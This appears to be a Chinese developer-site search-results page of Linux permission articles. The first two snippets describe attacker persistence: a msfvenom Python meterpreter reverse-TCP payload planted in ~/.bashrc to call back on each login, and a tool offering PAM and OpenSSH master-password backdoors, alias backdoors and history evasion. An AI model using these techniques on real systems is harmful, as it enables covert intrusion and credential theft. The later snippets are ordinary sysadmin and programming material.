首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

一个 Linux 权限维持小 tip | Linux 后门系列

简介 前一段时间,朋友问了一个这样的问题:Linux 普通权限,没有crontab 之类的,如何做权限维持。...我之前介绍过好多好多种 Linux 权限维持的方法,大多数还是基于 root 权限的,如果不提权的话,有些手法还是受限的,比如 motd,服务之类的。...于是,我选择了最简单的配置文件 ~/.bashrc 这个文件是在所属用户每次登录的时候会自动进行执行配置的一个文件,当然,前提得是用户系统使用的 shell 是 bash 但这都不是什么重点,主要是这里要介绍一个之前没有介绍过的小技巧...,比如我们使用 msf 生成一个 Python木马,放入到这个配置文件中 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT...配置好监听,重新登录试试 可以看到这个也可以成功反弹 shell,那么如果我们不配置监听,看看登录会不会卡住 可以看到,登录没有卡住,和正常登录没有区别 其实呢,这也是我埋在 alias后门 | Linux

92430
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    分享一个Linux权限维持神器!!

    工具介绍 通过渗透拿到权限之后,为了不让权限丢失,都会进行权限维持,而在进行权限维持的时候,红队需要花费大量的时候,来验证是否合适,因此在这款工具就诞生 HackerPermKeeper[黑客权限保持者.../video/BV1fV411N7Qc/ 常见后门介绍 OpenSSH后门万能密码&记录密码(这个需要依赖环境),就是把对方的门换个锁,但是原来的钥匙也可以使用 发现程度:|| PAM后门,PAM是一个...Linux登录验证的认证服务,修改其中关于ssh登录的验证,添加一个万能密码,已经记录的账号密码位置(类似把对方房间内有内鬼) 发现程度:|| SSH软链接 cat /etc/ssh/sshd_config...我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围 可以记录ssh明文和密钥(登录的)和Rootkit配合一起 发现程度:|||| 命令自定义-Alias后门 alias命令的功能:为命令设置别名...| 但是使用工具进行检测出来情况很大,建议看代码,手动编写此工具(难度很大) history不记录执行命令 在输入命令时候,添加空格 ssh软链接&crontab 快速生成软链接[需要运行脚本成功

    34540

    linux权限系统知识(drwxr-xr-x)

    Linux系统中使用 ll 命令可以看到文件的权限信息,如图: 接下来主要解释一下这些权限的含义: 可以看到总的十个字符: 1、第一个字符表示文件类型: d 表示是目录 - 表示是文件 l...,如果没有权限则用 -表示。...Linux文件的基本权限分为9个,总共三组,分别为拥有者(owner),所属组群(group)和其他人(others),其中每组身份又拥有各自的读(read),写(write),执行(execute)权限...可以用数字和字母来分别表示读 r(4),写 w(2),执行权限 x(1)。...drwxr-xr-x 表示这是一个目录文件,文件拥有者有读,写,执行权限,所属组群没有写权限,有读,执行权限,其它用户没有写权限,有读,执行权限

    74640

    Linux系统中JAVA创建文件权限不足的问题,无法设置权限的问题

    今天,凯哥修改自己的公众号的时候,遇到了一个问题:那就是上传的文件访问不到,使用浏览器访问不到了。怎么办呢?经过多次查询,发现竟然是因为tomcat的配置原因!...正文: 最近在Linux系统中通过tomcat部署项目,由于程序有上传文件功能。而上传的却无法查看文件(通过createNewFile创建)。...我们知道在Linux系统规定,创建文件的最高权限为666,而创建文件夹的最高权限为777,系统通过变量umask来控制创建文件的权限问题。...分析,想,会不会是tomcat自己搞的鬼呢?于是,搜索,看到一篇文章: 通过研究发现,Linux通过umask变量来控制创建文件的默认权限问题。...但Linux系统umask的默认值是0022,也就是说创建的文件应该是644的权限,而上传的文件却是640的权限

    5.9K20

    关于Linux权限列中的加号及的深度探索

    ,观察权限了第十一个位置的详细情况。...开启SELinux创建的文件和目录都会在权限列显示这个的,关闭SELinux创建的文件和目录在权限列是不会显示这个的,之前创建的文件或目录保持不变。...三、关于权限列的加号(+) 3.1 了解过Linux中ACL权限设置的朋友对于这个加号肯定不陌生。不过还是让我们通过实验来验证一下。...四、总结 4.1 Linux权限列的不是无意义字符。在开启SELinux的情况下创建的目录和文件有具有这个权限列有这个说明该目录或文件以及设置了SELinux相关的权限。...4.2 权限列中最后一个位置如果是加号,说明这个目录或文件已经设置了ACL权限相关的内容。如果加号存在,则已经有点的目录或文件,的显示会被覆盖,但原来的SELinux属性保持不变。

    1.7K10

    汽车云,云计算换挡的下一个“赛”?

    云计算市场 难得的“破局” 云计算市场增长远未到顶是事实,但整体增速放缓,特别是排名靠前的云计算大厂增速放缓也是事实。...与传统汽车相比,智能汽车很大一个变化是,汽车消费不再是一次性的买卖行为,在整个用车周期内,越来越多的软件和增值服务加入其中,这也让车主和车企的关系更加紧密。...比起腾讯云对“自研产品”的重视,阿里云在提出“Back to Basic”,向软硬一体化转型,在整体战略布局上显得更聚焦。在汽车云领域,除了擅长的营销云外,自动驾驶云与智造云都是其重点布局的场景。...汽车云大厂各有所长,站在车企的角度,从全盘考虑,不会因为某个大厂的单项能力就轻易决策,这也将汽车云的竞争推向了一个更高的维度。...这要求汽车云深入到行业底层,理解各个业务场景,从单一的核心场景切入,能够从全局出发,横向延伸到其他业务,形成体系化输出。

    27620

    linux执行某些命令或者访问某些网站资源出现错误该如何输出到一个文件内?

    今天就分享一个linux的小技巧,可以帮助你在日常的运维中,更省时,更省力!...我们经常在Linux上执行某些命令或者访问某些网站资源不定时出现一些错误、超时,但是想要统计某些错误到另一个文件内,该如何输出到一个文件内呢?...今天我们就需要使用到linux中bash的重定向功能 示例命令如下:cmd 2>>file 这个命令的意思是将标准输出的错误追加到file文件中,cmd代表任何命令都可以。...就会输出错误,提示无法解析这个域名,如果说是应用层业务程序内去这样执行一些请求命令,是无法直接输出到终端上让我们去查看的,并且应用程序内去调用的话,涉及到的环节,一些报错信息都很多,如果需要我们单独拿出来一个...curl去复现并将每次复现的错误都记录到一个文件内的话,终端去看也不太好 image.png 3、然后我们使用bash的重定向功能,将标准错误输出追加到一个指定文件内,可以看到我curl 了 5次,没有都有错误

    2.4K51

    addSubView需要注意的几个为什么要在addsubview:一个view对象,release它?

    译:增加一个视图到接收者的子视图列表中。 - (void)addSubview:(UIView *)view Parameters view The view to be added....译:这个方法会retain一次view,并且设置它的下一个响应者是receiver,即它的新的父视图。...ps:在removeFromSuperview里已经说过,其实视图直接的操作往往牵涉到两个方面的操作,一个是视图的数据结构,一个是响应者链。当然,addsubview也不例外。...译:每一个视图只能有唯一的一个父视图。如果当前操作视图已经有另外的一个父视图,则addsubview的操作会把它先从上一个父视图中移除(包括响应者链),再加到新的父视图上面。...view对象,release它?

    1.4K100

    linux中OTG识别到一个U盘产生一个sg节点的全过程

    \device.h kernel\include\linux\usb.h kernel\include\scsi\scsi_host.h usb核心部分: kernel\driver\usb\core\...当一个U盘插入linux设备前发生的事情: a. 最开始注册hub部分:   需要关注注册驱动的有hub, usb, usb-storage。...hub中用来做检测usb口是否有OTG的东东接入,usb是所有usb接入设备的老大哥,usb-storage只是usb的一个小老弟。...至于usb_register,最后也就是把usb-storage驱动添加到一个链表中,等待着遍历执行的时刻。 3. 当一个U盘插入linux设备: a....大体就是,注册一堆东东,总线(usb)啊,驱动设备(usb)啊,驱动(hub,usb-storage)啊,class(sg_interface)啊等等,然后跑一个线程,检测到需要的东东,比对注册到特定链表的数据

    2K10

    真实经历:一个Linux小白被文件权限绕晕,评论区让他root用户777

    引言 如果你遇到了修复web服务器的文件权限问题,在网上搜索,有大牛告诉你需要递归地chmod 777 你的web目录!...文件权限Linux中,对文件的访问由操作系统使用文件权限、属性和所有权进行控制。 通过了解Linux文件系统权限模型,你可以将对文件和目录的访问限制为仅由授权用户和进程访问,从而使系统更加安全。...例如,设置读取权限,用户可以在文本编辑器中打开文件。 可以查看目录的内容。用户可以使用ls命令列出目录中的文件。 写权限 可以更改或修改该文件。 可以更改目录的内容。...第一个三元组显示所有者权限,第二个三元组显示组权限,最后一个三元组显示所有其他权限权限数字 ? 文件权限可以用数字或符号格式表示。在本文中,我们将重点介绍数字格式。...使用chmod时要格外小心,特别是在递归更改权限的时候。 写在最后 如果你管理的是Linux系统,了解Linux权限是如何工作的非常重要。

    2.1K20

    分享一个Linux无法创建文件夹,但是目录权限却显示正常的问题和解决

    今天发现一个疑难杂症:发现批量发布一个新版本程序时,发现有一台没有成功。亲自登陆上去看了下,发现原来是发布帐号在某个目录下创建目录失败了! 人工 touch 试了下,发现提示没有权限。...:47 server -rwxr-xr-x  1 publish users     1746 2013-12-29 15:41 release-server.sh 奇了怪了啊,于是看下上层目录是否有权限...,结果发现从/ 到 release 权限都是正常的!...使用 chmod 重新授权即可:chmod -R publish:users /data/TNM2/release Ps:没有权限新建文件或修改文件其实还有其他一些因素,比如比较隐秘的“加锁”命令:chattr...感兴趣的可以看下: Linux 下巧用 chattr、watch 命令的实例

    6.2K50

    关于 .NET 在不同操作系统中 IO 文件路径拼接方法,升级 .NET 7 注意到的一个知识

    或者 Mac 平台运行就会发现这个代码会报错,原因在于 Linux 和 Mac 平台无法识别 \ 分割凭借的文件路径,因为这两个平台是采用 / 做为文件路径分割符的。...webHostEnvironment.ContentRootPath; webHostEnvironment.WebRootPath; hostEnvironment.ContentRootPath; 三个变量的末尾都是带有一个分隔符的...,他们的取值都是 d:/appdata/ 或 var/appdata/ 像这样尾部有跟随一个 / 分割符,但是到了 .NET 7.0 中,他们的取值变了,变成了 d:/appdata 或 var/appdata...这时候想起来微软官方自带的拼接方法 Path.Combine ,该方法用于将多个路径信息进行拼接,改造的代码如下 Path.Combine(webHostEnvironment.ContentRootPath...flushdns 至此 关于 .NET 在不同操作系统中 IO 文件路径拼接方法总结 就讲解完了,有任何不明白的,可以在文章下面评论或者私信我,欢迎大家积极的讨论交流,有兴趣的朋友可以关注我目前在维护的一个

    1.3K30

    Linux复习资料(二)、Linux基本操作

    复习资料(一)、VM虚拟机安装教程 Linux复习资料(二)、Linux基本操作 Linux复习资料(三)、Shell命令 目录 Linux基本操作 Linux系统的文件结构 Linux系统命令行的含义.../mnt 手动临时挂载 /opt 第三方软件安装位置 /proc 进程信息及硬件信息 /root 临时设备的默认挂载 /sbin 系统管理命令...操作界面有三种模式:命令模式(command mode)、插入模式(Insert mode)和底行模式(last line mode) 命令模式 -刚进入文件就是命令模式,通过方向键控制光标位置, -使用命令...行,"Ctrl+C"退出查看 文件权限 文件权限简介:'r' 代表可读(4),'w' 代表可写(2),'x' 代表执行权限(1) 单个权限4 2 1 两个权限6 5 3 三个权限7 打包与解压 基础命令....tar.gz //Linux中打包并压缩文件的扩展名 打包文件 tar -zcvf 打包压缩的文件名 要打包的文件 参数说明:z:调用gzip压缩命令进行压缩; c:打包文件;

    1.7K20
    领券